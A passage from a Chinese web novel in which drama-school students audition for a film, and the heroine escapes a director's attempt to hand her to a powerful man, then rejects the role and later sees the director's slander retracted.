许虹拨了拨头发,抬起下巴高傲地点了点头,“帮我亲戚开的服装公司拍了几张照片宣传,大头买了手机,还有点小钱,咱们姐妹儿吃了喝了呗!” 刚才还咬牙切齿的海洋瞬间转变态度,“来来来,漂亮的大姐,我帮你拿包,您说咱们到底吃哪家馆子?” 女生五个出动,刘蓉蓉担心道:“老师知道会不会怪你啊?” 许虹一脸无所谓,“只是不能接戏,我拍几张照片而已,不算违反规定。” 许虹选了后门的精品小炒店,把饭菜一扫而空,几人撑着肚子出来。 海阳忽然停下,盯着对面饺子店揉了揉眼睛,然后豁然瞪圆:“快看!那是不是冯飞和咱们系主任?” 许虹脑袋飞快转回去,哒哒哒小跑几步,眯着眼睛仔细瞅:“真是嘿!” 刘蓉蓉不知道冯飞长什么样,忙问:“哪呢哪呢?” 周可给她指,“那边那个,穿白色短袖,戴棒球帽的那个。” 经她指认,温苒也看到了。 海阳激动地跳起来,“肯定是来选角了!” 回到宿舍,海阳开始临时抱佛脚,拉着大家陪她演话剧。 比海阳还要激动的,是即将大三大四的学姐们,寝室楼里说话的声音都比往常大了许多。 学姐孟禾带人过来找许虹借衣服,“虹虹,你那些漂亮裙子都借我们穿穿呗!冯飞导演的新电影是都市题材,据影视学院面过的同学们介绍,对方想找长的漂亮时髦的演员。” 许虹大方应道:“好啊!” 她从床底下拉出两个行李箱打开,满满当当的都是各色裙子牛仔,“你们自己挑。” 孟禾抱着她猛亲两口,和同学们蹲下来挑裙子。 海阳给她们腾出地方,站在旁边打听消息:“学姐你们知道剧本了吗?” 温苒竖着耳朵听。 孟禾摇头,“哪能啊?剧本怎么也要面试时才会给一小段。” 温苒则好奇,“学姐,面试通过电影应该要拍好长时间吧,大三的课程怎么办?” 虽然老师早就叮嘱过,原则上大三之后才允许接戏,但也说过让她们不要着急,不要自己贸然接戏,要以学业为准。 毕竟每个月都有导演过来挑演员,她们根本不缺拍戏的机会。 当然如果坚持要拍电影,而且是大导演的电影,四年里也总会碰到一两次机会的。 孟禾冲她笑了笑,“好机会可遇不可求,只能抽时间补课了。” 整栋寝楼亢奋了三天,新一周的周一来临,一早寝楼的学生就空了。 温苒被海阳从被窝里拽起来,打着哈欠出去洗漱。 回来换衣服,温苒照常穿长裤短袖,却被许虹拦住,“你换身裙子,万一就有机会呢?” 海阳连连点头,抬腿让温苒看,“你看我都把牛仔裤剪了个洞,现在都流行这个,时髦!” 温苒:“……” 温苒看了一圈,果然发现刘蓉蓉和周可也穿了裙子戴了发卡。 那好吧。 温苒心想着其实她的搭配也很时髦的,边从行李箱里翻出上年买的裙子。 许虹一看惊了,“嚯!这个牌子死贵!一件裙子能买一支手机!” 周可八卦地凑上来,“真的?比宜然的裙子还贵吗?” 许虹点头,“她的裙子是国内的牌子,贵但贵得有限,她最贵的是她的包和大衣,那些包都是真皮,大几万呢!” 这个年代的大几万,那就是长京的房子街头的豪车啊! 而且不是这么比的,范宜然衣服多,每件都贵,加起来可比温苒这个吓人。 许虹看了眼时间,赶紧哄温苒换衣服。 她翻了翻剩下那几件,给大家科普:“我上年去逛了这家牌子的店,据说国外很有名气,进去店里店员都跟范宜然似的,高冷微笑不爱说话,我翻了翻标签给我吓出来了。” 温苒从蚊帐里探出头,“还有几件,你们要不要换上?” 四个女生眼睛一亮,“要!” 然后火速瓜分更衣。 四个人体型有高有矮,衣服并不怎么合身,但没关系,有温苒和许虹在呢。 剪刀咔嚓咔嚓,针线穿过布料上翻飞。 海阳脖子长,温苒把裙子上剪下来的布条缝起来,给她绑脖子上。 刘蓉蓉圆脸娇俏,许虹给在她马尾上绑了个和裙子同色的蝴蝶结。 刘蓉蓉恬静柔美,许虹给她绑了条丝巾。 许虹自己则是大红唇高跟鞋,她长得高腿也长,踩着高跟有一米八了。 这么一圈看下来,还是数温苒最中规中矩。 她是一件绿色吊带裙,里面是件长袖的蕾丝打底衫,编了个麻花辫搭在肩上。 临出门时,海阳反倒扭扭捏捏着不肯出来,“咱们这样,是不是太张扬了?” 许虹翻白眼,一把把她扯出来,“搞含蓄不是你的风格,你看蓉蓉都没说怕呢。” 刘蓉蓉拧着手,“我怕选不上,小苒的裙子白给浪费了。” 她们真心疼,温苒下手 剪裙子的时候,她们甚至觉得天都塌了。 妈耶,这咔咔几剪子万把块就出去了…… 把她们论斤称两的卖了都不值这么多钱…… 许虹清清嗓子,“回头咱们能接戏赚到了钱,你也买一件给小苒就是了。” 她扭头看温苒,“裙子可给我了,回头我赚了钱也送你。” 温苒点头,“当然,都是照你们的身材改合适的,这裙子放着我也没机会穿,不如拿出来给大家做贡献。” 海阳摸着自己的小黑裙,笑着说:“那我以后拿奖了,要穿这身上台!” 许虹指她,不客气地嘲笑:“瞅你那白日做梦那样?” 五个人下楼去剧院,周可凑到温苒身边,“我会努力攒钱的。” 刘蓉蓉跟着点头,“听说广告公司那边正在招模特,我想去试试。” 温苒对两人道:“那你们注意安全,最好问问男生那边有没有人一起。裙子不着急,这是去年的款式,今年折旧价格估计连一半都没有。” 周可震惊,“可你都没穿过,是全新的,怎么会折旧?” 许虹还真了解,跟大家解释:“人家国外的牌子就这样,每年春夏和秋冬发布新款,新款和经典款才值钱,再就是高定和包包跟古董似的可以投资,普通的成衣不保值。” 大家不懂,但大家大为震撼。 大剧院能坐下五百人,温苒一行到的时候,先出示学生证,负责出入的男人看了一眼,盯着海阳道:“你待会儿去试试这个角色。” 对其他人,他说:“每个角色的片段都在那边,想面那个去领一张,进去后排队。” 群像剧就是群像剧,余下四人分别选了三个角色。 温苒和许虹都是女主角,刘蓉蓉和周可分别选了两个配角。 进了剧院,没人的地方许虹激动地锤了下海阳,“你可以啊!待会儿必须上去试试,面过了怎么也要班任给你申请特批。” 海阳红着脸,“我觉得应该是这身衣服的作用。” 周可一脸艳羡,“不管什么作用,能选上就是好事。” 温苒和刘蓉蓉也给了海阳两句鼓励,让她撑着口气,先把剧本和角色给准备好。 台上并不是单人表演,而是两两一组在对戏。 温苒看出了点门道,“海阳,你沉住气,我觉得你有机会。” 海阳紧张地手心发汗,嗓音里挤出哭腔,“啊?我不行!我不行了……” 许虹喊刘蓉蓉一左一右压住这姑娘,低声开导她。 “这么好的机会你抓点紧,别掉链子啊!” 海阳一把抓住温苒,就和抓住了救命稻草一样,“苒!咱俩一起吧,你把我带入戏!” 许虹一想也不错,“苒,你救救她,她这次机会实在很大。” 当然不是因为海阳演技多好,其实她今天的造型也不怎么合适,她主要是留了一头短发,有点憨呼呼少年气,而且她五官偏锋利,就跟个假小子似的。 剧本里介绍,海阳那个角色就是个假小子。 温苒点头,“没问题。” 许虹飞快和海阳换座,让她和温苒对戏。 有温苒带着,海阳果然镇定下来。 快中午时还没轮到她们,几人打算去食堂吃饭,刚走到剧院门口就碰到了班任邢玉洁。 邢玉洁看到几人眼睛亮了亮,“谁给你们打扮?一个个都漂亮的让人移不开眼了!” 邢玉洁在海阳身上停留的时间最长,“你这打扮也太时髦了,待会儿上台试试,这是个好机会,能面上老师给你申请特批。” 正好碰到,邢玉洁干脆和五个学生一起去吃饭。 “他们男生这次机会不大,电影有三对主角,另外两个男主角都在影视学院挑好了,还剩一个在咱们学校挑。” 邢玉洁说道:“最难挑的就是海阳你这个,咱们俩学校就你一个这类型的。舞蹈学院那边更别提,都是漂亮小姑娘,没一个假小子。” 温苒听了心想,这叫什么?这叫赛道选的好,十年努力少。 许虹摸了摸自己珍惜的长发,“老师,你说我这类型的多吗?” 邢玉洁笑了,“不多,你这姑娘气场强,一般的男演员压不住你。” 许虹就是那种张扬艳丽的长相,五官大而浓,个子高,气质也是配得上长相的张扬。 温苒回道:“那应该很难有合适的角色吧?” 许虹连忙看老师,邢玉洁却卡壳了。 许虹急了,“别啊!老师我这么漂亮怎么还不合适了?” 邢玉洁讪笑,“哎,你别急,你只是戏路受限,但你这类型的也少啊,放心吧,你好好琢磨演技,总会有戏拍。” 一段话把许虹说得心里更没底了。 许虹挨到温苒身边,眼神幽怨地望着她。 温苒:“……” 温苒只好劝她,“你看海阳,跟你一样都是戏路有限制,她今天能碰到合适的角色,明天你就能碰到。” 面试的进度很快,一个上午就面完了学姐学长,下午轮到温苒这一届学生。 邢玉洁不放心,跟到前面来盯着。 温苒和海阳两个组队先上。 两人一上台,邢玉洁就看到,原本懒懒散散不抱希望的冯飞几人瞬间眼睛就亮了,坐直身体盯着台上。 邢玉洁能清楚看到,几人的视线先在海阳身上停留一瞬,接着转到温苒身上停留了很长时间,然后又挪回去。 他们对海阳很满意,这无可置疑。 但邢玉洁认为,等表演开始,这些人的注意力都会转移到温苒身上。 温苒很漂亮,这是其一。 温苒的演技更漂亮,这是其二。 首先是自我介绍,温苒打头,介绍姓名班级和面试角色。 海阳照葫芦画瓢,有了模板说话都不磕巴了。 冯飞导演是第六导代导演的代表人物。 众所周知,电影界最先定下的一代是第五代,由第五代往前推一二三四代,再有第五代往后推六七八九代。 由此可见第五代导演的地位。 现今依旧是第五代导演活跃的时期,但第六代导演同样不可小觑。 和第五代导演偏爱乡土和家国等大题材不同,第六代导演的成长背景所致,尤擅长对个人精神世界和社会题材的挖掘。 冯飞正在准备的这部电影是都市题材,故事发生在八十年代刚刚开放时,主角是三对背景悬殊的男女同学。 时代的浪潮下,三对男女经历分分合合,最终走上异途。 以温苒的眼光看,剧本一般,题材一般,既没有广度也没有深度。 而且就拿到手的剧本来说,还有点狗血。 第一女主角是温苒所选的角色,父母是普通工人,家世一般,但长得漂亮,性格高傲。 女主角的发小是海阳所面试的假小子,但发小父母都是厂里领导。 和两人一起长大的,还有邻家哥哥,也是某男主角。 海阳的角色喜欢邻家哥哥,邻家哥哥喜欢漂亮的女主,而女主角却不懂得珍惜。 天长日久中,矛盾爆发了。 这场戏就是两个好朋友反目成仇的一幕。 台上有一张梳妆台,温苒坐在前面,海阳停在不远处。 报幕员喊了开始。 温苒单手托腮,看着盒子里的首饰,一件一件都扔掉。 她表情淡淡连眉头都没皱一下,姿态随意,似乎只是平平无奇的动作。 却让台下的观众感受到了她的不满意。 也让台下的观众感受到她为何不满意? 因为这些首饰都太一般,根本配不上她。 这时海阳气冲冲推门进来。 温苒懒懒抬眼,看的却不是海阳,而是镜子里的自己。 海阳压着怒气,“你别太过分!” “你想要的东西,只要你开口,凯旋哥二话不说就去办,你却从来一句感谢都没有!现在凯旋哥因为你感染绝症,你呢?你不仅不去看他一眼,你还跟别的男生好?” 她说着,上来扫掉梳妆台上的东西,颤抖着身体质问:“你到底有没有心?!” 温苒面上还在演,心里早就无语透了。 看吧看吧,就是这么狗血…… 短短五分钟不到的戏,温苒演了一遭,心里打起了退堂鼓。 要不,还是等霍骁北出师,拍他演的电影吧? 她这么想,但冯飞不这么想。 冯飞看温苒的眼神放着光。 这就是他要找的演员! 漂亮,不食人间烟火,自私冷血,但她漂亮! 漂亮到她做遍错事别人也会因为她这张脸不舍得苛责她! 而且这一点,角色本身比谁都知道得清楚。 所以她才肆无忌惮伤害任何人! 所以当她年华老去,再也不能依仗这点肆意妄为时,她从被追捧的中心变成被嘲讽的对象,她开始主动放下身段,开始奉献她仅有的真心,却像当初被她伤害过的人一样,真心被狠狠践踏。 最终,温苒饰演的角色尝尽恶果,一生活在自责和痛苦中。 简单来说,就是个恶女得到报应的故事。 冯飞拽着邢玉洁,“师姐,你可得帮帮我,你这俩学生我都要了,我这个片子拍摄也快,暑假完了我就放她们 回来。” 邢玉洁去向系主任申请,温苒和海阳被一群人簇拥着回了寝楼。 许虹给海阳手机,让她给家里打电话报喜。 温苒则打去给了霍骁北。 霍骁北那边提前下班,接到电话第一时间接通。 温苒小声道:“冯飞来学校挑演员你知道吧,我和同学去面试,过了。” 霍骁北对她的演技有数,不怎么意外,只说道:“想去可以去试试,不过我建议你再等等,我在师公这边学习,听他们聊天时提到,袁千望最近在筹备新电影。” 袁千望,华国第五代电影导演的领头羊,甚至可以说是第一人。 袁千望不拍则矣,他要拍,就是横扫国内四大颁奖典礼。 据说,华国文化部早有和袁千望合作,让华国电影出海拿奖的计划。 有官方背书,有袁千望执导,可以预计这绝对是一部可以在影史上留下姓名的经典电影。 第66章 第66章千禧年影后9 温苒一时犯了难。 她本来就对冯飞的这部电影兴趣不大,现在听说袁千望筹备新电影,心思登时就放到了后者身上。 但让她辞演也不可能。 一来,她是个演员,既然拥有一个角色,就该用最认真的态度对待一个角色。 二来,老师已经去和主任交涉了,剧组那边也在准备合同,她现在辞演相当于临时毁约,绝不利于她的口碑积累。 算了,就看袁千望什么时候来挑演员了,能赶上是好事,赶不上就说明她和这部片子没缘分。 因为冯飞表示电影拍摄时间不长,大约只用一个暑假就能结束,所以主任那边很爽快地就批了申请。 邢玉洁开车,带温苒和海阳去制片厂和剧组签约。 “你们还是小演员,片酬不会太高,行情在三千到六千元之间,不过我会尽量帮你们争取。” 海阳抱着温苒的胳膊,一脸惊喜:“这么高!都能买两部手机了!” 邢玉洁笑着点头,“咱们演员确实需要一部手机,面试过没过能第一时间知道。” 京影制片厂资历老,地位高,与长京电视台和华阳电视台毗邻而落。 都是一个圈子里的,制片厂很多演员都来自戏剧学院,邢玉洁进来后走到哪儿都能碰到熟人,免不了聊几句。 冯京单独一个办公室,去他办公室的路上三人遇到他,他似乎正要出门。 冯京眼睛亮了亮,视线意味深长地停在温苒脸上许久,“师姐来了,制片人在隔壁开会,片酬的事你得找她去谈,我正打算开个剧本围读,这俩学生我就带走了。” 邢玉洁点了点头,“那行,我谈好了过去找你们。” 冯飞先去打了个电话,回来带两人去了会议室,到门口时,他突然停下,“哎我忘了拿东西,海阳你先进去,小苒你过来帮我。” 海阳挠脸颊,“导演我力气大,拿东西要不还是我来吧?” 冯飞转过身,狠狠皱了皱眉,“不用,就几样东西,快跟上!” 他大步离开,海阳犹豫着看向温苒,“小苒?” 温苒心下思索着这位导演的意图,一面开口道:“海阳,麻烦你去找班任,看看她那边怎么样了。” 冯飞转过拐角消失不见,温苒连忙提步跟上,丢下句话安慰海阳:“这是制片厂,你别担心。” 目送着温苒的身影消失,海阳皱着脸,隐隐有种不太好的感觉。 她没进会议室,转身跑开。 冯飞大步如飞,温苒却慢吞吞迈着步子,一点都不怕跟不上。 东西不多,他个大男人难道还拿不动? 他拿不动,制片厂这么多人,凭他大导演的身份随便喊一嗓子就有人献殷勤,做什么就非要她来? 直觉告诉温苒,这个冯飞怕不是什么好人,可能是想占她便宜。 如果真是这样,首先这电影正好不用演了,其次她得撇干净责任,最好是揭穿这狗东西的真面目。 录音笔这时候就能派上大用场,她于是从系统背包里拿出来一个,揣进兜里,以防万一。 做好心理建设,温苒抬头,冯飞已经彻底没了影子。 温苒:“……” 拦住一个工作人员,温苒打听到冯飞办公室的位置,继续慢吞吞挪动。 她可是腿脚有伤,连体育课和形体课都只用上十分钟的柔弱女生,走得慢很正常的。 冯飞办公室的门关着。 温苒抬手,轻叩三下。 门打开,却不是冯飞,而是个面容更年轻的西装男人。 男人垂眸,眼神从上到下扫过温苒,最后停在她脸上,定了三秒后丢下‘进来’两个字,转身就走。 温苒跟进去,任门大开着,视线在十平米大的办公室里转了一圈,没发现可以藏下冯飞略显肥胖的体型的地方。 “冯导呢?”她站在门口往里两步的位置,问那男人。 男人靠在沙发上闭目养神,闻言睁开眼睛,却没回她的问题,而是沉声吩咐:“把门关上。” 温苒觉得莫名其妙,大导演的助理就是不一般,脾气都比得上冯飞本人了。 她想了想,说道:“冯导让我来拿东西。” 男人定定望过来,皱起眉头,不悦道:“冯飞没跟你说过?” 温苒点头,然后摇头,“说了,让我来拿东西,但没说拿什么。” 男人:“……” 温苒继而又想到某个可能,“刚才冯导比我先上来,也许他已经拿走了,那我就不打扰了。” 她说罢转身就走。 男人却开口,“站住!把门关上!” 温苒站住,然后把门关上,然后她朝着楼梯走去…… 办公室里,男人看着只剩自己的房间,沉默了。 站住,把门关上,然后过来…… 很难理解吗? 这姑娘是光长了张漂亮脸蛋,脑子一点没有是吧? 他深吸气,呼气,冯飞给他推荐的都是什么蠢……愚蠢的花瓶?! 温苒走到楼梯时,正对楼梯口的办公室突然从里打开,冯飞冲出来,不敢置信地看着她,“你怎么现在就出来了?” 温苒停下,也很惊讶,“冯导你拿到东西了吗?” 冯飞:“???” 冯飞两眼迷茫,心说什么东西?你在说什么东西? 温苒刚才还觉得这人要对自己图谋不轨,现在发现猜错了,就有点点心虚和愧疚。 她并不觉得自己想多了是自恋,女生有点警惕心是应该的。 而且这可是娱乐圈! 潜规则高发地! 再小心都不为过。 温苒清清嗓子,对还在懵逼的冯飞说道:“冯导,抱歉,我想帮你拿东西,但你的助理惜字如金,没告诉我。” 冯飞:“……” 冯飞回过神来,胸口剧烈起伏,胖脸迅速涨成猪肝色。 什么助理? 那是、那是、那是…… 冯飞快喘不上来气了,他现在满脑子都是得罪了对方他该怎么办? 冯飞瞪着温苒,为今之计,只有把这妞儿送过去,再老实认错这一条路可走! 就在这时,温苒的手机响了。 班任打来的,“小苒你在哪儿呢?” 温苒想了想,说了实话:“和导演上楼拿东西,在他办公室那一层,正要往下走。” 邢玉洁回道:“合同我也谈好了,那行,我和海阳过去找你。” 电话挂掉,温苒就见一个身影扑上来,要夺走她的手机。 温苒一个闪身躲开,人影正是冯飞,他扑空了,人直直 向着楼梯下面栽过去。 温苒惊了,连忙拽住他的胳膊,抵在墙上借力把人拽回来。 冯飞体重大惯性大,被拽回来后人直直往后坐倒,结结实实摔了个屁股蹲儿。 刚才那下真吓人,温苒这个旁观者都心惊肉跳,可想而知当事人的感受,估计晚上都要做噩梦。 冯飞直接呆在了原地,灵魂出窍一般,脸色煞白,大喘着粗气。 温苒不想碰他,没记错的话冯飞刚才要抢自己手机。 她选择回去找人。 笃笃两下敲门声后,办公室里的男人就听到门开,那个女生折返回来,语气镇定道:“你们冯导刚才险些摔下楼梯,现在状况不大对。” 男人:“……” 男人要气笑了,怎么不干脆摔死? 闭了闭眼,他干脆起身跟上,希望这不是俩人联合搞的小把戏,他没那么多闲心。 温苒说完就回到楼梯旁,正好这时邢玉洁和海阳也找来了。 看到坐在地上脸色惨白的冯飞,邢玉洁惊了,“这是怎么了?” 温苒回道:“刚才我和老师通电话,挂掉之后冯导突然扑上来抢手机,我下意识躲开,冯导扑空要摔下楼梯,然后我把他拽上来,他就成这样了。” 邢玉洁满脸疑惑,“冯导为什么抢你手机?” 对啊?为什么? 温苒也好奇。 冯导‘助理’这时过来,瞥了冯飞一眼,嗤笑:“出息!” 听到声音,温苒转过头,懵了。 助理是这么当的吗? 邢玉洁和海阳也转头看向男人。 两人一前一后—— 邢玉洁:“你是?” 海阳:“冯导的秘书?” 邢玉洁嘴唇动了动,她猜可能不是,冯飞常用的副导她也对不上号,但反正不一般就是了。 不过不管怎么说,这人和冯飞认识。 邢玉洁只好道:“麻烦你安慰一下冯导,实在不行,我开了车,你背他下楼,咱们去医院。” 男人皱了皱眉,“我姓韩。” 邢玉洁愣了下。 然后温苒、海阳和她,就看到了男人的安慰方式。 ——他抬脚,把冯飞踹了个仰倒。 温苒:“……” 邢玉洁&海阳:“?!!” 这一脚就和灵丹妙药似的,冯飞立马清醒过来,眼神一抬瞥到男人,瞬间脸色就更白了。 “韩、韩少……您、您放心,我肯定让那丫头跟您认错……” 话落,冯飞瞪向温苒,“还不滚过来?” 温苒还没说什么,邢玉洁一脚踹过去,“滚你老子!你他爹当老娘面儿放什么狗屁呢?” 温苒&海阳:“?!!” 冯飞刚爬起来,又跌回去了。 他上身够着韩少的方向,倒的时候也倒向韩少。 但在冯飞倒过来时,韩少往旁边撤了一步,在温苒身边站定。 他神色中浓浓的都是嫌弃,好像在说‘别挨老子’。 温苒抬脚远离这人。 她已经反应过来了。 冯飞确实如她所想不是个好东西,这一遭冯飞也确实是想潜规则,不过是送她去被潜规则。 什么大导演,就是个拉皮条的。 邢玉洁慢一步,把温苒拽过来藏到身后,然后对男人道歉:“韩少,今天这事对不住您了。但我今天带学生过来是来签电影合同的,冯飞想做什么我们也都不清楚。” “事是冯飞做的,跟我的学生无关,您大人有大量,别跟个孩子计较。” 邢玉洁说完,想了想又补充道:“她刚过完十七岁生日,真是个孩子。” 虽说有些人底线低得吓人,但明摆出来,至少对方会有所顾忌。 男人神色微动,从鼻腔里发出了一声‘嗯’,然后抬腿又是一脚。 冯飞再次跌回去,和地板亲密接触。 邢玉洁松了口气,“那韩少,我们就先走了,您……” 男人往前两步,“一起。” 他的眼神扫过来时,海阳紧张地挡住温苒。 一路是诡异的沉默。 到六楼时,邢玉洁停下,“我找黄制片有些事情,咱们就在这儿分开吧。” 韩少点了点头,转身下楼离开。 等不见了他的身影,邢玉洁赶紧拉着温苒打量,“怎么样,那老小子没对你做什么吧?还有那个韩少?” 海阳也担心地看着温苒。 温苒摇头,“没有。” 再说他们也办不到,以她的身手,区区两个能给打得屁滚尿流。 温苒又道:“老师,这个角色我不演了。” 海阳立马也说:“我也不演了。” 邢玉洁叹气,“也行,都这样了,你们愿意演我也要劝你们别演,那老小子真不是个东西。” 黄制片厂已经准备好了合同,临到头却听邢玉洁要反悔,登时就不干了。 戏剧学院面试时他也在场,这俩人演得多好啊,简直可遇不可求。 黄制片甩下合同,“老邢你怎么个意思?六千的片酬,我够有诚意了吧,还想再加?” 邢玉洁给海阳个眼神,海阳小跑去关门,邢玉洁低声道:“老黄我也不瞒你,我直接跟你说了,你们冯大导演想巴结人,拐的还是我学生。” 黄制片急了,“不是……” 邢玉洁冷着脸打断他,“我看他冯飞也别找演员,别当导演了,他干脆去干拉皮条得了!” 黄制片一看没戏,也不拦了,“那算了。” 高高兴兴来,灰头丧气回。 见着俩人回来,许虹笑着问:“什么时候进组?” 海阳摇摇头,闷头过去坐下,“别提了,不演了。” 许虹三人震惊地扭头,“为什么?怎么就不演了?” 海阳犹豫地看向温苒,温苒三言两语解释,“冯飞要巴结别人,骗我过去,就不演了。” 许虹张大嘴,“什、什么、什么玩意?!” 她一锤桌子,秃噜出一串不重样的脏话来,缓了缓说道:“不是?他们影视学院导演都这副德性?是不是看不起我们戏剧学院?欺负我们戏剧学院没人了?” “呸!” “论导演,成名的五代导演六个里面有四个都是咱们戏剧学院的!” “当谁愿意拍他们影视学院的破戏了?!” “小苒、海阳你俩别灰心,等咱们戏剧学院的导演过来挑演员,咱们学校出来的都踏实,不走歪门邪道。” 温苒和海阳不演了,冯飞那边却怒了,还在制片厂倒打一耙,说温苒心思不正当勾引他,他多正经一人,立马把人开了。 黄制片:“……” 以及隐约知道冯飞今天有位大客人的同事:“……” 就挺不要脸的。 但他们也只能、也只会在心里唾骂冯飞不要脸,真要出头是不可能的。 同时也在心里可怜一下那位女同学,得罪了冯飞,以后就别想在演员这条路上混了。 邢玉洁制片厂的朋友给她打电话,告诉她冯飞那些不堪入目的话,让她能服软就服个软。 得罪冯飞真不是个好事,戏剧学院那么多学生呢,邢玉洁教过那么多学生呢,万一都受了影响怎么办? 邢玉洁破口大骂,“放他爹的狗屁!我们戏剧学院是没导演了吗?世界上是只剩他冯飞一个导演了吗?” 骂完,邢玉洁挂掉电话,却面露忧色。 她再怎么看不起冯飞,也不可否认对方如今的地位,远不是她的学生温苒可以抗衡的。 海阳受的影响还小点,她是被连带的,冯飞的怒火全都冲着温苒去了。 温苒多有天赋,十年难得一遇都是说少了,往前十年往后十年都不定能再出这么一个。 可惜,没怎么着就碰到了个人渣,演员路还未开始就岌岌可危。 邢玉洁握紧手机,心说肯定不能这样。 她站起来给丈夫去了个电话,不多时面上露出喜色。 晚饭许虹带她们出门去吃烧烤。 夏日闷热,温苒不想出门,许虹答应了给她带饭。 温苒趴在蚊帐里,用着系统出品的调温器,和霍骁北通电话。 “我决定不演了,等袁导的电影。” 她没说今天的遭遇,不然真不知道霍骁北会干出什么事来。 霍骁北沉着脸,语气却和往常一样,“也可以。” 温苒不动声色转移话题,“你最近学得怎么样?电视剧拍到哪里了?还有多久才结束?” 霍骁北一一回答完,也转移了话题,“刚才杜凌给我打了电话。” 温苒心里一个咯噔,心提到了嗓子眼,下一秒晃了晃脑袋,告诉自己别自己吓自己。 杜凌唯一有可能知道白天事情的渠道就是海阳,而海阳自打从制片厂回来就待在宿舍唉声叹气,压根没有大嘴巴的 机会。 然而温苒并不清楚,海阳和杜凌在烧烤店相遇了。 温苒故作不知,“他为什么给你打电话?” 霍骁北脸色更沉了,她但凡提一句呢? 通话结束后,霍骁北回到宿舍,拍了拍舍友韩丰的肩膀,“电脑送你,帮我个忙。” 韩丰眼睛一亮,“说!只要不犯法我都能帮你办到!” 学校这边,温苒吃了一肚子烧烤,洗个澡上床就睡了。 次日天还蒙蒙亮的时候,许虹接到朋友电话,穿衣下楼。 走出寝楼,许虹随意抬头,瞥到花坛边上立着个眼熟的人影。 许虹轻手轻脚上前,张大眼睛仔细瞅了瞅,“霍骁北?” 霍骁北转过来,许虹震惊地捂住嘴,“不是?你怎么在这儿?你不是在师公的剧组学习吗?” 霍骁北站直,“嗯,听说点事,请假回来了。” 许虹更惊讶了,“是温苒的事吧,你可真行,你什么时候回来的,我上楼帮你喊她下来。” 霍骁北道:“不用,让她睡吧,待会儿我给她打电话。” 许虹:“……” 行,这小子上道哈,不怪能让小苒死心塌地。 许虹先去见朋友,校门口随手拦下辆车,她上去后拿出手机,哒哒哒给温苒发去条短信。 这叫什么? 这叫事业失意,情场得意! 温苒醒来后看到短信,猛地弹坐起来。 霍骁北怎么知道的? 肯定是杜凌! 不对,肯定是海阳! 两个都是大嘴巴! 温苒飞快起床洗漱,换上裙子下楼,精准找到霍骁北的位置,然后飞奔着扑过去。 “霍骁北你都多少天没回来了?” 先发制敌,走霍骁北的路,让霍骁北无路可走。 温苒佯装生气,跺着脚发火:“你还记得我是你女朋友吗?” 霍骁北:“……” 霍骁北抬起手,轻掐着她脸颊左右转动,目光一寸寸扫过,冷笑:“那你还记得我是你男朋友?” 温苒心虚地垂下眼睛,眼睫毛忽闪忽闪,一看就是心虚。 霍骁北又冷笑,“下次,我不希望从别人嘴里听到。” 温苒拍掉他的手,哼哼唧唧,“是杜凌对不对?海阳这个大嘴巴,吃顿饭就把事情抖落给了另一个大嘴巴。” 霍骁北没有否认,虽然他其实是从师公李一帆那里听说的。 但不告诉温苒真相,是想让她老实点,小事瞒着他就瞒着了,这么大的事还瞒着他? 温苒讨好地握上他的手,来回晃了晃,“哎呀,你在剧组学习就专心一点嘛,我就知道告诉你你肯定会跑回来,这会给师公留下坏印象的。” 霍骁北皮笑肉不笑地看着她,反手把她的手攥在掌心里,转身道:“回家。” 温苒冲他背影吐了吐舌头,小碎步跟上。 和霍骁北一起回来的还有他舍友韩丰,午饭时过来,进门后就浑身拘谨,神情躲躲藏藏,跟做了亏心事似的。 温苒悄咪咪嘀咕,莫非这人转性了? 霍骁北倒是知道原因,不然他也不会让韩丰来帮他的忙。 温苒苦夏没什么胃口,不过短短半个月不见,脸蛋就瘦了一圈。 霍骁北好不容易回来一次,自然大展身手弄了一桌好菜。 饭菜上桌,三人坐好。 温苒先动筷子,霍骁北才说:“开饭。” 韩丰屁股动来动去,下一次筷子看三回眼色,把温苒都给看得没胃口了。 “你不舒服?”她抬眸,在韩丰脸上扫了一眼。 看脸色除了有点上火和睡眠不足,应该没什么大毛病。 韩丰放下碗筷,脸色涨红,“那、那个,温苒,我小叔说,那天的事,让我转告你一生抱歉。” 温苒歪了歪脑袋,“你小叔?也姓韩?” 韩丰哭着看向霍骁北,“骁北,对不起,我也不知道我小叔这么不是东西,他说了冯飞那边他来处理,那些流言他也会解决的。” 温苒:“……” 所以什么流言? 韩丰看她不明白,跟她解释:“冯飞说是你心思不正当,主动勾引他,想要加片酬加戏,还想要他之后电影的主角……” 温苒竖起眉,啪一下拍掉筷子,“太过分了!” 韩丰坐立难安。 温苒怒道:“我眼瞎了我勾引他?” 简直太过分了! 有了这样的传言,以后哪还有导演愿意用她拍戏? 若非巧合,那天的男人正好是韩丰亲戚的话,是不是还没人治得了冯飞了? 是不是她就要硬生生吃下这哑巴亏了? 不过冯飞可恶,韩丰亲戚也不无辜。 回忆起他当时的反应来,可半点儿没看出他不知情! 对方出手,谣言澄清得很迅速。 冯飞主动承认,是他喝醉了酒胡言乱语。 那天因为和温苒的班任在片酬上闹了点不愉快,他才口不择言出言污蔑对方的。 知道内情的都摇头咂舌,该!终于有人治得了这老小子了! 并且冯飞为了表示他的诚心,还亲自来了趟戏剧学院,请温苒和海阳务必出演他的片子。 温苒可不是好脾气,能忍住没动手已经是她教养好了,谁爱演谁演! 倒是海阳,班任劝了劝她,“你去吧,有这一遭冯飞也不敢对你怎么样,去试试。” 温苒形象好演技好,她不缺机会,少这么一次无所谓。 然而没几天,接替温苒的第一女主角就定下了。 是温苒的同学,范宜然。 第67章 第67章千禧年影后10 “哎不是?范宜然这什么意思?她不知道这个角色原定的是你啊?” 海阳传来第一手消息,许虹愤愤不平。 温苒整理书本的间隙回她:“知不知道也不重要,一个角色而已,又没写着我的名字,我不演当然要找别的演员,不然电影怎么办?” 许虹摇头,一脸不赞同,“不是那么回事,范宜然一直跟你较着劲儿呢,你不知道?” 海阳憋住了没说话。 范宜然事情做得不地道,可本质上来说,她跟对方其实也没两样。 冯飞那样侮辱小苒,可那天回来海阳就后悔了,所以后来班任劝她,她都没怎么犹豫就答应下来。 海阳一面觉得对不起温苒,背叛了温苒,但一面又很舍不得这次的机会。 决定好要带哪些书后,温苒开始收拾衣服,“可咱们班每个人都在互相较劲,这是良性竞争。” 许虹叹气,“你说说你,你有时候可有脾气了,有时候脾气又可软和了。行吧,你不觉着膈应就行,但你别傻乎乎到范宜然跟前,主动说你不介意,你得等她主动知道吗?” 温苒用力点头,“知道知道,许大美女!” 被大美女认可的大美女许虹得意洋洋地拨了拨头发,视线一瞥,好奇:“你在干嘛?” 